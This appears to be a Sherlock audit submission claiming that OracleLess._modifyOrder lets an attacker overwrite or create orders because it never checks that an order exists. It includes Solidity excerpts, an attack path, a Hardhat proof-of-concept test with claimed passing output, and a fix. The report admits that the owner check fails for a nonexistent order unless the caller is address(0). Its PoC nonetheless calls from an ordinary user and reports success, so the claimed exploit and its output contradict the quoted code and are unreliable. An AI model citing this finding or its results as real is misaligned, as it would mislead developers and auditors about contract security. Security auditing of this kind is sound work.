048.md

Calm Sky Hippo

Medium

Missing check for order existence in modifyOrder function allows an attacker to manipulate or create unintended orders

Summary

The modifyOrder function in the OracleLess contract fails to validate the existence of an order ID before performing modifications. This missing check allows an attacker to manipulate or create unintended orders, leading to unexpected behavior.

Root Cause

In the _modifyOrder function, the contract attempts to fetch an order from the orders mapping using the provided orderId. However, it does not verify whether the orderId corresponds to a valid and existing order. As a result, an invalid or non-existent orderId can be used to execute the function, overwriting an uninitialized mapping entry. https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L171-L210

function _modifyOrder(
    uint96 orderId,
    IERC20 _tokenOut,
    uint256 amountInDelta,
    uint256 _minAmountOut,
    address _recipient,
    bool increasePosition,
    bool permit,
    bytes calldata permitPayload
) internal {
    // fetch order
    Order memory order = orders[orderId]; // No validation for order existence.

    require(msg.sender == order.recipient, "only order owner"); // Assumes `order.recipient` is valid.

    // Further logic modifies the `order` without ensuring validity.
    uint256 newAmountIn = order.amountIn;
    if (amountInDelta != 0) {
        // Logic for increasing/decreasing position...
    }

    // Construct and save the modified order.
    Order memory newOrder = Order({
        orderId: orderId,
        tokenIn: order.tokenIn,
        tokenOut: _tokenOut,
        amountIn: newAmountIn,
        minAmountOut: _minAmountOut,
        feeBips: order.feeBips,
        recipient: _recipient
    });

    orders[orderId] = newOrder; // Overwrites existing data in mapping.
}

Cases to exploit: An attacker uses a valid but unused orderId (e.g., one that was generated but not associated with a legitimate order in the contract). The mapping orders[orderId] would return an Order with default values (recipient = address(0), etc.). The msg.sender == order.recipient check would only fail if msg.sender is not address(0).

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. Deploy the contract.
2. Call modifyOrder with a non-existent orderId.
3. Observe that the contract modifies the mapping for an uninitialized orderId.

Impact

1. Manipulate uninitialized order mappings by supplying a fabricated orderId.
2. Corrupt existing mappings, overwriting valid orders.
3. Misuse the contract to manipulate recipient addresses or token amounts.

PoC

const { ethers } = require("hardhat");
const { expect } = require("chai");

describe("OracleLess - Missing Order Validation", function () {
  let OracleLess, oracleLess, owner, user, tokenMock;

  before(async function () {
    [owner, user] = await ethers.getSigners();
    // Mock token for testing.
    const TokenMock = await ethers.getContractFactory("MockERC20");
    tokenMock = await TokenMock.deploy("TestToken", "TT", 18, ethers.utils.parseEther("1000"));
    await tokenMock.deployed();

    // Deploy the OracleLess contract.
    const AutomationMasterMock = await ethers.getContractFactory("AutomationMasterMock");
    const automationMaster = await AutomationMasterMock.deploy();
    await automationMaster.deployed();

    const Permit2Mock = await ethers.getContractFactory("Permit2Mock");
    const permit2Mock = await Permit2Mock.deploy();
    await permit2Mock.deployed();

    OracleLess = await ethers.getContractFactory("OracleLess");
    oracleLess = await OracleLess.deploy(automationMaster.address, permit2Mock.address);
    await oracleLess.deployed();
  });

  it("Should overwrite an invalid orderId", async function () {
    const invalidOrderId = 12345;
    const recipient = user.address;

    // Call modifyOrder with invalid orderId.
    await oracleLess
      .connect(user)
      .modifyOrder(
        invalidOrderId,
        tokenMock.address,
        0, // No amountInDelta
        1000, // Dummy minAmountOut
        recipient,
        false, // Not increasing position
        false, // No permit
        "0x"
      );

    // Check that the invalid order ID now exists in the mapping.
    const modifiedOrder = await oracleLess.orders(invalidOrderId);
    expect(modifiedOrder.recipient).to.equal(recipient);
  });
});

Output:

OracleLess - Missing Order Validation
    ✔ Should overwrite an invalid orderId (65ms)

  1 passing (95ms)

Mitigation

To fix this issue, add a check to verify the existence of the order before proceeding with modifications:

require(orders[orderId].orderId == orderId, "Order does not exist");
require(msg.sender == orders[orderId].recipient, "only order owner");